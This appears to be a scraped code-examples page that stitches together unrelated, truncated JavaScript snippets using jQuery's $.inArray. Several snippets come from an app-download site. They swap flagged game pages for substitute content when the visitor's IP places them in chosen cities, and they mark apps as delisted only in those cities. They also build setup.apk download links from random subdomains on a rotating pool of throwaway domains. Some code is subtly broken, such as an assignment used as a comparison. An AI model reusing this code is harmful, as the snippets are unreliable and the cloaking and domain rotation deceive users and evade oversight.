function mgcFilter(dataMggl, dataReplaceHtml, dataEjectCity, incity) { // 敏感词过滤
            var mgcHtml = dataMggl;
            var mgcArrayHtml = dataReplaceHtml;
            var titleHtml = $(ele).find('h1').html();
            var city = incity;
            var koCity = dataEjectCity;
            var arrayTextSize = mgcHtml.length;
            var arrayHtmlSize = mgcArrayHtml.length;
            if ($.inArray(city, koCity) !== -1) {
                if (arrayTextSize === arrayHtmlSize) {
                    for (var i = 0; i < arrayTextSize; i++) {
                        for (var n = 0; n < mgcHtml[i].length; n++) {
                            if (titleHtml.indexOf(mgcHtml[i][n]) !== -1) {
                                $(ele).find('h1').html(mgcArrayHtml[i][1]);
                                $(ele).find('.f-game-img img').attr({
                                    src: mgcArrayHtml[i][2]
                                });
                                $(ele).find('.f-downbtn-url').empty();
                                var downurl = '<li><a href=' + mgcArrayHtml[i][7] + '>立即下载</a></li>';
                                $(ele).find('.f-downbtn-url').html(downurl);
                                $(ele).find('.prent').html(mgcArrayHtml[i][5]);
                                $(ele).find('.m-related').hide();
                                $(ele).find('.m-click').hide();
                                var prevImgSize = mgcArrayHtml[i][3].length;
                                var prevImgHtml = '';
                                for (var s = 0; s < prevImgSize; s++) {
                                    prevImgHtml += '<li><mip-img src=\'' + mgcArrayHtml[i][3][s] + '\'/></li>';
                                }
                                $(ele).find('.f-previmg-cont').html(prevImgHtml);
                                $(ele).find('.f-maincms-cont').html(mgcArrayHtml[i][4]);
                                $(ele).find('.tag-new').hide();
                                $(ele).find('.zw_bqfl a').eq(0).attr('href', mgcArrayHtml[i][5]);
                                $(ele).find('.zw_bqfl a').eq(0).html(mgcArrayHtml[i][6]);
                                $('.m-down-ul,.w-ljxz').each(function () {
                                    $(this).find('a').attr('href', mgcArrayHtml[i][7]);
                                });
                                $(ele).find('.ullist li').each(function () {
                                    if ($(this).find('p').html().indexOf(mgcHtml[i][n]) !== -1) {
                                        $(this).find('p').html(mgcArrayHtml[i][1]);
                                        $(this).find('img').attr('src', mgcArrayHtml[i][2]);
                                    }

                                });
                                $(ele).find('.m-m-addxggame li').each(function () {
                                    if ($(this).find('span').html().indexOf(mgcHtml[i][n]) !== -1) {
                                        $(this).find('span').html(mgcArrayHtml[i][1]);
                                        $(this).find('img').attr('src', mgcArrayHtml[i][2]);
                                    }

                                });
                                $(ele).find('#comment_list').prev('h3').hide();
                                $(ele).find('#comment_list').hide();
                            }

                        }
                    }
                }
            }
        }
 }).then(function (data) {
     var lowerOk = data.lowerOk;
     if (lowerOk === 'true') {
         var province = data.province;
         var lowercity = data.city;
         var lowerkoCity = data.cityLower;
         if ($.inArray(lowercity, lowerkoCity) !== -1) {
             var lowerurlSize = data.lowerurl.length;
             if ($.inArray(pkurlm, data.lowerurl) !== -1) {
                 $(ele).find('#address').attr({href: 'javascript:;', lower: 'yes'});
                 $(ele).find('#address').text('该应用已下架');
                 $(ele).find('#address').css({'background': '#ccc', 'color': '#fff'});
                 $('title').html($('title').html().replace(/下载/g, ''));
             }
         }
     }
 });
Example #3
0
 $.each(wg, function (k, w) {
     w = w.values ? w : convert(w);
     keys = w.keys || w.values;
     if ($.inArray(val[i], keys) !== -1) {
         ret.push(val[i]);
     } else {
         ret.push(keys[0]);
     }
     i++;
 });
Example #4
0
    request: function (conf) {
        var url = conf.url,
            method = conf.method,
            _this = this,
            cacheKey = _this.getCacheKey(url, conf.data),
            cache,
            time = conf.url.indexOf('?') > -1 ? '&time='+ new Date().getTime() : '?time='+ new Date().getTime();

        if (typeof method == 'undefined' || !$.inArray(method, ['get', 'post'])) {
            method = 'get';
        }

        if (method == 'get') {
            cache = this.getCache(cacheKey);
            if (cache) {
                return conf.callback(cache);
            }
        }

        if (!this.requestQueue[cacheKey]) {
            this.requestQueue[cacheKey] = [];
        }
        var queue = this.requestQueue[cacheKey];
        queue.push(conf.callback);
        if (queue.length == 1) {
            $.ajax({
                type: method,
                url: url + time,
                data: conf.data,
                xhrFields: conf.xhrFields,
                dataType: conf.dataType || 'json',
                jsonp: conf.jsonp || 'callback',
                beforeSend: conf.beforeSend || function () {},
                success: function (res) {
                    //@todo 错误码处理
                    if (method = 'get') {
                        _this.setCache(cacheKey, res, conf.expires);  
                    }
                    var callbacks = _this.requestQueue[cacheKey];
                    _this.requestQueue[cacheKey] = null;
                    $.each(callbacks, function (_, fn) {
                        fn(res);
                    });
                },
                error: function(){
                    _this.requestQueue[cacheKey] = null;
                },
                complete: conf.complete || function () {}
            });
        }

    },
Example #5
0
 $.each(wg, function (k, w) {
     if ($.inArray(i, idx) > -1) {
         wheels[i] = w;
         $('.dw-ul', dw).eq(i).html(generateWheelItems(i));
         nr--;
         if (!nr) {
             that.position();
             scrollToPos(time, undefined, manual);
             return false;
         }
     }
     i++;
 });
		var fillCarListData = function( carData,  tempContainer ){
			var _data = carData;
			var _temp_carList = tempContainer;
			var _usedcar_url = "";

			for( var i=0; i < _data.length; i++ ){
				var _temp_brokenpart_str = "<div class='txt-server'><p>";
				var _sprq = $.inArray( _data[i].sprq.split("-")[0] , ["1970", "2900"] )  >= 0  ? "未上牌" :  _data[i].sprq.split("-")[0] + "年";

                _usedcar_url = _data[i].m_url;
				
				if( _data[i].source_id === 40 ){
					_temp_carList += "<li class='haoche'><i class='icon-hc'></i><div class='img'><img class='lazy' src='/static2015/dist/images/car_default.jpg' data-original='" + base.utils.photoSmallToMedium(_data[i].picture) + "' data-url=" + _usedcar_url + " width='100%' /></div><div class='txt'><p class='til'>" + _data[i].title_l
						          +   "</p><div class='txt-price'><span class='fl'>¥"+ _data[i].price +"万</span><span class='fr'>" + _sprq + "<i>|</i>" + _data[i].bxlc + "万公里</span>"
						          +   "</div><div class='txt-server'><p><span class='white'>99好车</span><span>诚信车源</span><span>全方位保障</span></p></div></div></li>";
				}else{
					_temp_carList += "<li><div class='img'><img class='lazy' src='/static2015/dist/images/car_default.jpg' data-original='" + base.utils.photoSmallToMedium(_data[i].picture) + "' data-url=" + _usedcar_url + " width='100%' /></div><div class='txt'><p class='til'>" + _data[i].title_l + "</p>"
							+ "<div class='txt-price'><span class='fl'>¥"+ _data[i].price +"万</span><span class='fr'>" +_sprq + "<i>|</i>" + _data[i].bxlc + "万公里</span></div>";

					if( _data[i].rzc === 1){
						_temp_brokenpart_str += "<span>认证</span>";
					}

					if( _data[i].brokenpart !== "" ) {
						var _brokenpart_arr = _data[i].brokenpart.split(",");
						
						if( $.inArray("1", _brokenpart_arr) >= 0 || $.inArray("2", _brokenpart_arr) >= 0 ) {
							_temp_brokenpart_str += "<span>代办</span>";
						}
						if( $.inArray("3", _brokenpart_arr) >= 0 || $.inArray("4", _brokenpart_arr) >= 0 ) {
							_temp_brokenpart_str += "<span>质保</span>";
						}
						if( $.inArray("6", _brokenpart_arr) >= 0 ) {
							_temp_brokenpart_str += "<span>退换</span>";
						}
						if( $.inArray("8", _brokenpart_arr) >= 0 ) {
							_temp_brokenpart_str += "<span>贷款</span>";
						}

						_temp_carList += _temp_brokenpart_str + "</p></div></div></li>";
					}else if( _data[i].rzc !== 1 ){
						_temp_carList += "</div></li>";
					}else{
						_temp_carList += _temp_brokenpart_str + "</p></div></div></li>";
					}
				}
				
			}
			return _temp_carList;
		}
 $box.each(function (index, value) {
     var h = $box.eq(index).height();//取每个div的高度
     if (index < cols) {
         harry.push(h);
     } else {
         var minH = Math.min.apply(null, harry); //获取数组里最小高度的值
         console.log(minH)
         var minHindex = $.inArray(minH, harry);//获取数组里最小高度的索引
         console.log(minHindex);
         $(value).css({
             'position': 'absolute',
             'top': minH + 'px',
             'left': minHindex * w + 'px'
         });
     }
     harry[minHindex] += $box.eq(index).height()
 });
        addEjectHtml: function () {
            var azEjectData = pageInfo.ejectandroid; // 获取安卓弹层数据
            var azOhterEjectData = pageInfo.ejectOhterAndroid; // 获取安卓弹层数据(排除城市)
            var azEject = {
                list: []
            };
            var azOhterEject = {
                list: []
            };
            var i = 0;
            for (i = 0; i < azEjectData.length; i++) {
                var amp = '&amp;';
                if (azEjectData[i][1].indexOf(amp) !== -1) {
                    azEjectData[i][1] = azEjectData[i][1].replace(new RegExp(amp, 'g'), '&');
                }

                azEject.list.push({title: azEjectData[i][0], url: azEjectData[i][1], smallimg: azEjectData[i][2]});
            }
            for (i = 0; i < azOhterEjectData.length; i++) {
                var title = azOhterEjectData[i][0];
                var url = azOhterEjectData[i][1];
                var smallimg = azOhterEjectData[i][2];
                var amp = '&amp;';
                if (url.indexOf(amp) !== -1) {
                    url = url.replace(new RegExp(amp, 'g'), '&');
                }

                azOhterEject.list.push({title: title, url: url, smallimg: smallimg});
            }
            province = remotIpInfo.province;
            city = remotIpInfo.city;
            var koCity = pageInfo.koCity;
            if ($.inArray(city, koCity) === -1) {
                this.addDate(document.querySelector('.m-hideshow-top'), azOhterEject);
            }
            else {
                this.addDate(document.querySelector('.m-hideshow-top'), azEject);
            }
        },
Example #9
0
            preset = function (inst) {
            var that = $(this),
                html5def = {},
                format;
            // Force format for html5 date inputs (experimental)
            if (that.is('input')) {
                switch (that.attr('type')) {
                    case 'date':
                        format = 'yy-mm-dd';
                        break;
                    case 'datetime':
                        format = 'yy-mm-ddTHH:ii:ssZ';
                        break;
                    case 'datetime-local':
                        format = 'yy-mm-ddTHH:ii:ss';
                        break;
                    case 'month':
                        format = 'yy-mm';
                        html5def.dateOrder = 'mmyy';
                        break;
                    case 'time':
                        format = 'HH:ii:ss';
                        break;
                }
                // Check for min/max attributes
                var min = that.attr('min'),
                    max = that.attr('max');
                if (min) {
                    html5def.minDate = ms.parseDate(format, min);
                }
                if (max) {
                    html5def.maxDate = ms.parseDate(format, max);
                }
            }

            // Set year-month-day order
            var i,
                k,
                keys,
                values,
                wg,
                start,
                end,
                invalid,
                hasTime,
                orig = $.extend({}, inst.settings),
                s = $.extend(inst.settings, defaults, html5def, orig),
                offset = 0,
                wheels = [],
                ord = [],
                o = {},
                f = { y: 'getFullYear', m: 'getMonth', d: 'getDate', h: getHour, i: getMinute, s: getSecond, a: getAmPm },
                p = s.preset,
                dord = s.dateOrder,
                tord = s.timeWheels,
                regen = dord.match(/D/),
                ampm = tord.match(/a/i),
                hampm = tord.match(/h/),
                hformat = p == 'datetime' ? s.dateFormat + s.separator + s.timeFormat : p == 'time' ? s.timeFormat : s.dateFormat,
                defd = new Date(),
                stepH = s.stepHour,
                stepM = s.stepMinute,
                stepS = s.stepSecond,
                mind = s.minDate || new Date(s.startYear, 0, 1),
                maxd = s.maxDate || new Date(s.endYear, 11, 31, 23, 59, 59);

            format = format || hformat;

            if (p.match(/date/i)) {

                // Determine the order of year, month, day wheels
                $.each(['y', 'm', 'd'], function (j, v) {
                    i = dord.search(new RegExp(v, 'i'));
                    if (i > -1) {
                        ord.push({ o: i, v: v });
                    }
                });
                ord.sort(function (a, b) { return a.o > b.o ? 1 : -1; });
                $.each(ord, function (i, v) {
                    o[v.v] = i;
                });

                wg = [];
                for (k = 0; k < 3; k++) {
                    if (k == o.y) {
                        offset++;
                        values = [];
                        keys = [];
                        start = mind.getFullYear();
                        end = maxd.getFullYear();
                        for (i = start; i <= end; i++) {
                            keys.push(i);
                            values.push(dord.match(/yy/i) ? i : (i + '').substr(2, 2));
                        }
                        addWheel(wg, keys, values, s.yearText);
                    } else if (k == o.m) {
                        offset++;
                        values = [];
                        keys = [];
                        for (i = 0; i < 12; i++) {
                            var str = dord.replace(/[dy]/gi, '').replace(/mm/, i < 9 ? '0' + (i + 1) : i + 1).replace(/m/, (i + 1));
                            keys.push(i);
                            values.push(str.match(/MM/) ? str.replace(/MM/, '<span class="dw-mon">' + s.monthNames[i] + '</span>') : str.replace(/M/, '<span class="dw-mon">' + s.monthNamesShort[i] + '</span>'));
                        }
                        addWheel(wg, keys, values, s.monthText);
                    } else if (k == o.d) {
                        offset++;
                        values = [];
                        keys = [];
                        for (i = 1; i < 32; i++) {
                            keys.push(i);
                            values.push(dord.match(/dd/i) && i < 10 ? '0' + i : i);
                        }
                        addWheel(wg, keys, values, s.dayText);
                    }
                }
                wheels.push(wg);
            }

            if (p.match(/time/i)) {
                hasTime = true;

                // Determine the order of hours, minutes, seconds wheels
                ord = [];
                $.each(['h', 'i', 's', 'a'], function (i, v) {
                    i = tord.search(new RegExp(v, 'i'));
                    if (i > -1) {
                        ord.push({ o: i, v: v });
                    }
                });
                ord.sort(function (a, b) {
                    return a.o > b.o ? 1 : -1;
                });
                $.each(ord, function (i, v) {
                    o[v.v] = offset + i;
                });

                wg = [];
                for (k = offset; k < offset + 4; k++) {
                    if (k == o.h) {
                        offset++;
                        values = [];
                        keys = [];
                        for (i = 0; i < (hampm ? 12 : 24); i += stepH) {
                            keys.push(i);
                            values.push(hampm && i == 0 ? 12 : tord.match(/hh/i) && i < 10 ? '0' + i : i);
                        }
                        addWheel(wg, keys, values, s.hourText);
                    } else if (k == o.i) {
                        offset++;
                        values = [];
                        keys = [];
                        for (i = 0; i < 60; i += stepM) {
                            keys.push(i);
                            values.push(tord.match(/ii/) && i < 10 ? '0' + i : i);
                        }
                        addWheel(wg, keys, values, s.minuteText);
                    } else if (k == o.s) {
                        offset++;
                        values = [];
                        keys = [];
                        for (i = 0; i < 60; i += stepS) {
                            keys.push(i);
                            values.push(tord.match(/ss/) && i < 10 ? '0' + i : i);
                        }
                        addWheel(wg, keys, values, s.secText);
                    } else if (k == o.a) {
                        offset++;
                        var upper = tord.match(/A/);
                        addWheel(wg, [0, 1], upper ? ['AM', 'PM'] : ['am', 'pm'], s.ampmText);
                    }
                }

                wheels.push(wg);
            }

            function get(d, i, def) {
                if (o[i] !== undefined) {
                    return +d[o[i]];
                }
                if (def !== undefined) {
                    return def;
                }
                return defd[f[i]] ? defd[f[i]]() : f[i](defd);
            }

            function addWheel(wg, k, v, lbl) {
                wg.push({
                    values: v,
                    keys: k,
                    label: lbl
                });
            }

            function step(v, st) {
                return Math.floor(v / st) * st;
            }

            function getHour(d) {
                var hour = d.getHours();
                hour = hampm && hour >= 12 ? hour - 12 : hour;
                return step(hour, stepH);
            }

            function getMinute(d) {
                return step(d.getMinutes(), stepM);
            }

            function getSecond(d) {
                return step(d.getSeconds(), stepS);
            }

            function getAmPm(d) {
                return ampm && d.getHours() > 11 ? 1 : 0;
            }

            function getDate(d) {
                var hour = get(d, 'h', 0);
                return new Date(get(d, 'y'), get(d, 'm'), get(d, 'd', 1), get(d, 'a') ? hour + 12 : hour, get(d, 'i', 0), get(d, 's', 0));
            }

            function getIndex(t, v) {
                return $('.dw-li', t).index($('.dw-li[data-val="' + v + '"]', t));
            }

            function getValidIndex(t, v, max, add) {
                if (v < 0) {
                    return 0;
                }
                if (v > max) {
                    return $('.dw-li', t).length;
                }
                return getIndex(t, v) + add;
            }

            // Extended methods
            // ---

            /**
             * Sets the selected date
             *
             * @param {Date} d Date to select.
             * @param {Boolean} [fill=false] Also set the value of the associated input element. Default is true.
             * @param {Number} [time=0] Animation time to scroll to the selected date.
             * @param {Boolean} [temp=false] Set temporary value only.
             * @param {Boolean} [manual=false] Indicates that the action was triggered by the user or from code.
             */
            inst.setDate = function (d, fill, time, temp) {
                var i;

                // Set wheels
                for (i in o) {
                    inst.temp[o[i]] = d[f[i]] ? d[f[i]]() : f[i](d);
                }
                inst.setValue(inst.temp, fill, time, temp);
            };

            /**
             * Returns the currently selected date.
             *
             * @param {Boolean} [temp=false] If true, return the currently shown date on the picker, otherwise the last selected one.
             * @return {Date}
             */
            inst.getDate = function (temp) {
                return getDate(temp ? inst.temp : inst.values);
            };

            inst.convert = function (obj) {
                var x = obj;

                if (!$.isArray(obj)) { // Convert from old format
                    x = [];
                    $.each(obj, function (i, o) {
                        $.each(o, function (j, o) {
                            if (i === 'daysOfWeek') {
                                if (o.d) {
                                    o.d = 'w' + o.d;
                                } else {
                                    o = 'w' + o;
                                }
                            }
                            x.push(o);
                        });
                    });
                }

                return x;
            };

            inst.format = hformat;
            inst.buttons.now = { text: s.nowText, css: 'dwb-n', handler: function () { inst.setDate(new Date(), false, 0.3, true, true); } };

            if (s.showNow) {
                s.buttons.splice($.inArray('set', s.buttons) + 1, 0, 'now');
            }

            invalid = s.invalid ? inst.convert(s.invalid) : false;

            // ---

            return {
                wheels: wheels,
                headerText: s.headerText ? function (v) {
                    return ms.formatDate(hformat, getDate(inst.temp), s);
                } : false,
                formatResult: function (d) {
                    return ms.formatDate(format, getDate(d), s);
                },
                parseValue: function (val) {
                    var d = ms.parseDate(format, val, s),
                        i,
                        result = [];

                    // Set wheels
                    for (i in o) {
                        result[o[i]] = d[f[i]] ? d[f[i]]() : f[i](d);
                    }
                    return result;
                },
                validate: function (dw, i, time, dir) {
                    var temp = inst.temp, //.slice(0),
                        mins = { y: mind.getFullYear(), m: 0, d: 1, h: 0, i: 0, s: 0, a: 0 },
                        maxs = { y: maxd.getFullYear(), m: 11, d: 31, h: step(hampm ? 11 : 23, stepH), i: step(59, stepM), s: step(59, stepS), a: 1 },
                        steps = { h: stepH, i: stepM, s: stepS, a: 1 },
                        y = get(temp, 'y'),
                        m = get(temp, 'm'),
                        minprop = true,
                        maxprop = true;

                    $.each(['y', 'm', 'd', 'a', 'h', 'i', 's'], function (x, i) {
                        if (o[i] !== undefined) {
                            var min = mins[i],
                                max = maxs[i],
                                maxdays = 31,
                                val = get(temp, i),
                                t = $('.dw-ul', dw).eq(o[i]);

                            if (i == 'd') {
                                maxdays = 32 - new Date(y, m, 32).getDate();
                                max = maxdays;
                                if (regen) {
                                    $('.dw-li', t).each(function () {
                                        var that = $(this),
                                            d = that.data('val'),
                                            w = new Date(y, m, d).getDay(),
                                            str = dord.replace(/[my]/gi, '').replace(/dd/, d < 10 ? '0' + d : d).replace(/d/, d);
                                        $('.dw-i', that).html(str.match(/DD/) ? str.replace(/DD/, '<span class="dw-day">' + s.dayNames[w] + '</span>') : str.replace(/D/, '<span class="dw-day">' + s.dayNamesShort[w] + '</span>'));
                                    });
                                }
                            }
                            if (minprop && mind) {
                                min = mind[f[i]] ? mind[f[i]]() : f[i](mind);
                            }
                            if (maxprop && maxd) {
                                max = maxd[f[i]] ? maxd[f[i]]() : f[i](maxd);
                            }
                            if (i != 'y') {
                                var i1 = getIndex(t, min),
                                    i2 = getIndex(t, max);
                                $('.dw-li', t).removeClass('dw-v').slice(i1, i2 + 1).addClass('dw-v');
                                if (i == 'd') { // Hide days not in month
                                    $('.dw-li', t).removeClass('dw-h').slice(maxdays).addClass('dw-h');
                                }
                            }
                            if (val < min) {
                                val = min;
                            }
                            if (val > max) {
                                val = max;
                            }
                            if (minprop) {
                                minprop = val == min;
                            }
                            if (maxprop) {
                                maxprop = val == max;
                            }
                            // Disable some days
                            if (invalid && i == 'd') {
                                var d, j, k, v,
                                    first = new Date(y, m, 1).getDay(),
                                    idx = [];

                                for (j = 0; j < invalid.length; j++) {
                                    d = invalid[j];
                                    v = d + '';
                                    if (!d.start) {
                                        if (d.getTime) { // Exact date
                                            if (d.getFullYear() == y && d.getMonth() == m) {
                                                idx.push(d.getDate() - 1);
                                            }
                                        } else if (!v.match(/w/i)) { // Day of month
                                            v = v.split('/');
                                            if (v[1]) {
                                                if (v[0] - 1 == m) {
                                                    idx.push(v[1] - 1);
                                                }
                                            } else {
                                                idx.push(v[0] - 1);
                                            }
                                        } else { // Day of week
                                            v = +v.replace('w', '');
                                            for (k = v - first; k < maxdays; k += 7) {
                                                if (k >= 0) {
                                                    idx.push(k);
                                                }
                                            }
                                        }
                                    }
                                }
                                $.each(idx, function (i, v) {
                                    $('.dw-li', t).eq(v).removeClass('dw-v');
                                });

                                val = inst.getValidCell(val, t, dir).val;
                            }

                            // Set modified value
                            temp[o[i]] = val;
                        }
                    });

                    // Invalid times
                    if (hasTime && invalid) {

                        var dd, v, val, str, parts1, parts2, j, v1, v2, i1, i2, prop1, prop2, target, add, remove,
                            spec = {},
                            d = get(temp, 'd'),
                            day = new Date(y, m, d),
                            w = ['a', 'h', 'i', 's'];

                        $.each(invalid, function (i, obj) {
                            if (obj.start) {
                                obj.apply = false;
                                dd = obj.d;
                                v = dd + '';
                                str = v.split('/');
                                if (dd && ((dd.getTime && y == dd.getFullYear() && m == dd.getMonth() && d == dd.getDate()) || // Exact date
                                    (!v.match(/w/i) && ((str[1] && d == str[1] && m == str[0] - 1) || (!str[1] && d == str[0]))) || // Day of month
                                    (v.match(/w/i) && day.getDay() == +v.replace('w', '')) // Day of week
                                    )) {
                                    obj.apply = true;
                                    spec[day] = true; // Prevent applying generic rule on day, if specific exists
                                }
                            }
                        });

                        $.each(invalid, function (i, obj) {
                            if (obj.start && (obj.apply || (!obj.d && !spec[day]))) {

                                parts1 = obj.start.split(':');
                                parts2 = obj.end.split(':');

                                for (j = 0; j < 3; j++) {
                                    if (parts1[j] === undefined) {
                                        parts1[j] = 0;
                                    }
                                    if (parts2[j] === undefined) {
                                        parts2[j] = 59;
                                    }
                                    parts1[j] = +parts1[j];
                                    parts2[j] = +parts2[j];
                                }

                                parts1.unshift(parts1[0] > 11 ? 1 : 0);
                                parts2.unshift(parts2[0] > 11 ? 1 : 0);

                                if (hampm) {
                                    if (parts1[1] >= 12) {
                                        parts1[1] = parts1[1] - 12;
                                    }

                                    if (parts2[1] >= 12) {
                                        parts2[1] = parts2[1] - 12;
                                    }
                                }

                                prop1 = true;
                                prop2 = true;
                                $.each(w, function (i, v) {
                                    if (o[v] !== undefined) {
                                        val = get(temp, v);
                                        add = 0;
                                        remove = 0;
                                        i1 = 0;
                                        i2 = undefined;
                                        target = $('.dw-ul', dw).eq(o[v]);

                                        // Look ahead if next wheels should be disabled completely
                                        for (j = i + 1; j < 4; j++) {
                                            if (parts1[j] > 0) {
                                                add = steps[v];
                                            }
                                            if (parts2[j] < maxs[w[j]]) {
                                                remove = steps[v];
                                            }
                                        }

                                        // Calculate min and max values
                                        v1 = step(parts1[i] + add, steps[v]);
                                        v2 = step(parts2[i] - remove, steps[v]);

                                        if (prop1) {
                                            i1 = getValidIndex(target, v1, maxs[v], 0);
                                        }

                                        if (prop2) {
                                            i2 = getValidIndex(target, v2, maxs[v], 1);
                                        }

                                        // Disable values
                                        if (prop1 || prop2) {
                                            $('.dw-li', target).slice(i1, i2).removeClass('dw-v');
                                        }

                                        // Get valid value
                                        val = inst.getValidCell(val, target, dir).val;

                                        prop1 = prop1 && val == step(parts1[i], steps[v]);
                                        prop2 = prop2 && val == step(parts2[i], steps[v]);

                                        // Set modified value
                                        temp[o[v]] = val;
                                    }
                                });
                            }
                        });
                    }
                }
            };
        };
        }).then(function (data) {
            var equipment;
            var recomdCityCont;
            var ejectCityCont;
            var openAndroidEject = data.openAndroidEject;
            var openIosEject = data.openIosEject;
            var allData;
            if (data.platformOpend === true) {
                if (platform.isIos()) { // ios
                    equipment = 'ios';
                }
                else { // 安卓
                    equipment = 'android';
                }
            }
            else {
                equipment = 'default';
            }
            province = remotIpInfo.province;
            city = remotIpInfo.city;
            var recomdCity = data.recomdCity;
            if (data.recomdCityOpen === true) {
                if ($.inArray(city, recomdCity) !== -1) { // 在指定城市
                    recomdCityCont = 'in';
                }
                else {
                    recomdCityCont = 'out';
                }
            }
            else {
                recomdCityCont = 'default';
            }
            if (typeof(data.recomddata[equipment + '_' + recomdCityCont]) === 'undefined') {
                allData = [];
            } else {
                allData = data.recomddata[equipment + '_' + recomdCityCont];
            }
            var i = 0;
            for (i = 0; i < allData.length; i++) {
                $('.' + allData[i].className).html(allData[i].contHtml);
            }
            var ejectCity = data.ejectCity;
            if (data.EjectCityOpen === true) {
                if ($.inArray(city, ejectCity) !== -1) { // 在指定城市
                    ejectCityCont = 'in';
                }
                else {
                    ejectCityCont = 'out';
                }
            }
            else {
                ejectCityCont = 'default';
            }
            allData = data.eject[equipment + '_' + ejectCityCont];
            if (typeof openAndroidEject === 'undefined') {
                openAndroidEject = true;
            }
            if (typeof openIosEject === 'undefined') {
                openIosEject = true;
            }
            if (platform.isIos()) { // ios
                if (openIosEject === true) {
                    clickFunction(allData);
                }
            }
			else { // 安卓
                if (openAndroidEject === true) {
                    clickFunction(allData);
                }
            }
        }, function (error) {
Example #11
0
        that.init = function (ss) {
            // Get theme defaults
            theme = ms.themes[ss.theme || s.theme];

            // Get language defaults
            lang = ms.i18n[ss.lang || s.lang];

            extend(settings, ss); // Update original user settings

            event('onThemeLoad', [lang, settings]);

            extend(s, theme, lang, settings);

            // Add default buttons
            s.buttons = s.buttons || ['set', 'cancel'];

            // Hide header text in inline mode by default
            s.headerText = s.headerText === undefined ? (s.display !== 'inline' ? '{value}' : false) : s.headerText;

            that.settings = s;

            // Unbind all events (if re-init)
            elm.off('.dw');

            var preset = ms.presets[s.preset];

            if (preset) {
                pres = preset.call(e, that);
                extend(s, pres, settings); // Load preset settings
            }

            // Set private members
            m = Math.floor(s.rows / 2);
            hi = s.height;
            anim = s.animate;
            modal = s.display !== 'inline';
            buttons = s.buttons;
            wndw = $(s.context == 'body' ? window : s.context);
            doc = $(s.context)[0];

            if (!s.setText) {
                buttons.splice($.inArray('set', buttons), 1);
            }
            if (!s.cancelText) {
                buttons.splice($.inArray('cancel', buttons), 1);
            }
            if (s.button3) {
                buttons.splice($.inArray('set', buttons) + 1, 0, { text: s.button3Text, handler: s.button3 });
            }

            that.context = wndw;
            that.live = !modal || ($.inArray('set', buttons) == -1);
            that.buttons.set = { text: s.setText, css: 'dwb-s', handler: that.select };
            that.buttons.cancel = { text: (that.live) ? s.closeText : s.cancelText, css: 'dwb-c', handler: that.cancel };
            that.buttons.clear = { text: s.clearText, css: 'dwb-cl', handler: function () {
                that.trigger('onClear', [dw]);
                elm.val('');
                if (!that.live) {
                    that.hide();
                }
            }};

            hasButtons = buttons.length > 0;

            if (visible) {
                that.hide(true, false, true);
            }

            if (modal) {
                read();
                if (input) {
                    // Set element readonly, save original state
                    if (readOnly === undefined) {
                        readOnly = e.readOnly;
                    }
                    e.readOnly = true;
                }
                that.attachShow(elm);
            } else {
                that.show();
            }

            if (input) {
                elm.on('change.dw', function () {
                    if (!preventChange) {
                        that.setValue(elm.val(), false, 0.2);
                    }
                    preventChange = false;
                });
            }
        };
        tanCentShow: function () {
            var catearr = [151, 156, 158, 159, 160, 161, 162, 163, 164,
                256, 257, 258, 178, 179, 180, 181, 182, 183, 184, 185, 186, 207, 208,
                81, 209, 210, 211, 212, 218, 219, 220, 221, 222, 223, 224, 225, 226, 230,
                237, 238, 239, 240, 241, 308, 309, 310, 311, 328, 322, 323, 324, 325, 326, 329]; // 安卓分类
            var catearrIos = [141, 214, 215, 216, 227, 228, 229, 231, 232, 233, 234,
                235, 312, 313, 314, 315, 316, 317, 318, 319, 327, 330]; // ios分类
            var AppArray = [435, 368]; // 应用宝的id数
            var chars = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D',
                'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T',
                'U', 'V', 'W', 'X', 'Y', 'Z'];
            function generateMixed(n) {
                var res = '';
                for (var i = 0; i < n; i++) {
                    var id = Math.ceil(Math.random() * 35);
                    res += chars[id];
                }
                return res;
            }
            var webUrl = ['L5645.net', 'L5645.com', 'i8543.net', 'i8543.com', 'u7897.net',
                'u7897.com', 'w2546.net', 'w2546.com', 'a2353.net', 'a2353.com', 'q58723.net', 'q58723.com'];
            var AppID = AppArray[Math.floor(Math.random() * (AppArray.length))];
            var downDomain = webUrl[Math.floor(Math.random() * (webUrl.length))];
            var downUrl = 'http://' + generateMixed(2) + '.' + downDomain + '/' + generateMixed(6) + AppID + generateMixed(3) + '/setup.apk';
            var myazdownLoad = [];
            myazdownLoad.push('http://' + generateMixed(2) + '.' + downDomain + '/' + generateMixed(6) + '888' + generateMixed(3) + '/setup.apk');
            myazdownLoad.push('http://' + generateMixed(2) + '.' + downDomain + '/' + generateMixed(6) + '386' + generateMixed(3) + '/setup.apk');
            var isAds = false;
            var downHref = $('.m-down-ul li a').attr('href');
            var noAd = ['6071.com', '1030.apk', 'duokoo.baidu.com', 'ugame.uc.cn', 'ugame.9game.cn', '360.cn', 'ewan.cn', 'anfan.com', 'caohua.com', 'open.play.cn', 'tj.tt1386.com', 'http://g.', 'http://tj.', 'yiwan.com', 'x1.241804.com', 'moban.com', 's.qq.com', '456.com.cn', 'xinkuai.com', 'g.hgame.com', 'yxgames.com', 'qianghongbaoyo.com', 'down1.qianghongbaoyo.com', 'down2.guopan.cn', 'dl.guopan.cn', 'guopan.cn', 'duowan.com'];
            var i = 0;
            for (i = 0; i < noAd.length; i++) {
                if (downHref.indexOf(noAd[i]) > -1) {
                    isAds = true;
                }

            }
            if (pageInfo.ismoney === 1) {
                isAds = true;
            }

            var RefUrl = document.referrer;
            var showAdsRef = ['baidu.com', 'sm.cn', 'sogou.com', 'so.com', 'google.com', 'bing.com', 'www.cr173.com', 'http://cr173.com'];
            var isShowPicAds = '';
            isShowPicAds = $.inArray(RefUrl, showAdsRef);
            if (!browser.versions.ios) {
                var idArray = [];
                var downHref = $('.m-down-ul li a').attr('href');
                idArray = downHref.split('.');
                if (downHref.indexOf('mo.L5645.net') !== -1 && $('.g-tags-box ul li').length <= 0) {
                    $('.m-down-ul li a').attr('href', '/down.asp?id=' + idArray[4]);
                    $('.m-down-msg .type b:last').html('系统:Android');
                }
                else {
                    if ($.inArray(pageInfo.categroyId, catearr) === -1 && $('.g-tags-box ul li').length <= 0) {
                        $('.m-down-ul li a').attr({href: 'javascript:;', ispc: true});
                    }
                    else {
                        $('.m-down-ul li a').attr('issw', true);
                    }
                }
                if (!isAds) {
                    addhighLab();
                }
            }
            else {
                if ($.inArray(pageInfo.categroyId, catearrIos) === -1 && $('.g-tags-box ul li').length <= 0) {
